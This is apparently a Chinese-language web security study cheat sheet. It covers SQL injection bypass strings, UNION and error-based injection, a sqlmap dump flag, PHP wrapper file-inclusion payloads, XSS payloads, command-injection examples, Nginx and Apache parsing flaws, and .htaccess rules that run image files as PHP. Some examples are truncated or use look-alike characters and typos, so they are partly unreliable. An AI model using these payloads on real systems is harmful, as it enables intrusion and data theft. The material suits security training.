SQL注入
定义:SQL注入就是将SQL语句插入到用户提交的可控参数中,改变原有的SQL语义结构,从而执行攻击者所预期的结果。
万能密码
命令 |
---|
' or '1'='1 |
' or 1=1# |
1'||'1 |
1'||1# |
'=' |
'-' |
报错注入
id=0 and updatexml(1,concat(0x7e,database(),0x7e),1)
联合注入
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
SQLMAP
-D Dataname -T tablename -C columnname --dump
文件包含漏洞
PHP伪协议
php://input
?file=php://input <?php phpinfo();?>
php://filter
allow_url_fopen 和 allow_url_include Off/On
?file=php://filter/read=convert.base64-encode/resource=
zip://
?file=zip://D:\%
data://
allow_url_fopen 和 allow_url_include On/On
?filename=data://text/plain,<?php phpinfo();
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
身份认证攻击
302跳转身份认证
爆破返回包都是302重定向跳转,
选择options-redirections-选中always,意思是总是跟随任何跳转,然后开始爆破。
basic认证攻击
XSS跨站脚本攻击
html中输出
<script>alert(1)</script>
事件中输出
<img src=# οnmοuseοver="location='';(alert(1));"/> <img src=x οnerrοr=alert`1`>
属性中输出
<div class=message> <input name="content" value=" οnmοuseοver=alert(1) />" /> </div>
CSS中输出
<div class=message style="backgroud-image:url(‘javascript:alert(1)’)" >
地址栏中输出
<a href="javascript:alert(1);">点击此处查看链接</a> <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">xxx</a>
代码与命令执行漏洞
命令操作符
cmd1|cmd2
将cmd1的结果输出给cmd2
命令执行漏洞
127.0.0.1&&echo "<?php phpinfo();?>">""
system("whoami");
常见中间件和主机漏洞
Nginx-解析漏洞
畸形解析漏洞(/*.php)
由于Nginx中php配置不当而造成的,与Nginx版本无关,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如/
%00空字节代码解析漏洞
nginx<=0.8.37 存在解析漏洞,Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码,然后通过访问 % 来执行其中的代码
文件名逻辑漏洞
影响nginx版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。如:0x20.php
Apache-解析漏洞
文件名解析漏洞
用户配置不当,Apache解析从右至左进行判断,如果为不可识别解析,就再往左判断。如,c不识别就会往前找,直到找到可识别后缀。
后缀包含换行符\x0A(CVE-2017-15715)
apache通过mod_php来运行脚本,其2.4.0-2.4.29版本中存在apache换行解析漏洞,在解析php时 \x0A 将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。
.htaccess文件
前提:mod_rewrite 模块开启、AllowOverride All
这个.htaccess的意思就是把所有名字里面含有shell的文件当成php脚本来执行
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatchc>
这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg